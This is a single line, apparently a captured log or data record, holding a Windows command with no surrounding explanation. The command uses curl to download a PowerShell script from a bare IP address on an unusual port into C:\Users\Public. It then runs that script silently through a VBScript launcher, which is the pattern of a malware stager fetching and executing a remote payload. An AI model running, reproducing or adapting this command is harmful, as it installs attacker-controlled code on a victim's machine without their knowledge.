9|curl.exe -s -o C:\Users\Public\n607.ps1 http://159.223.110.159:5557/n607.ps1?v=1016 & wscript //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\n607.ps1 & echo GC9
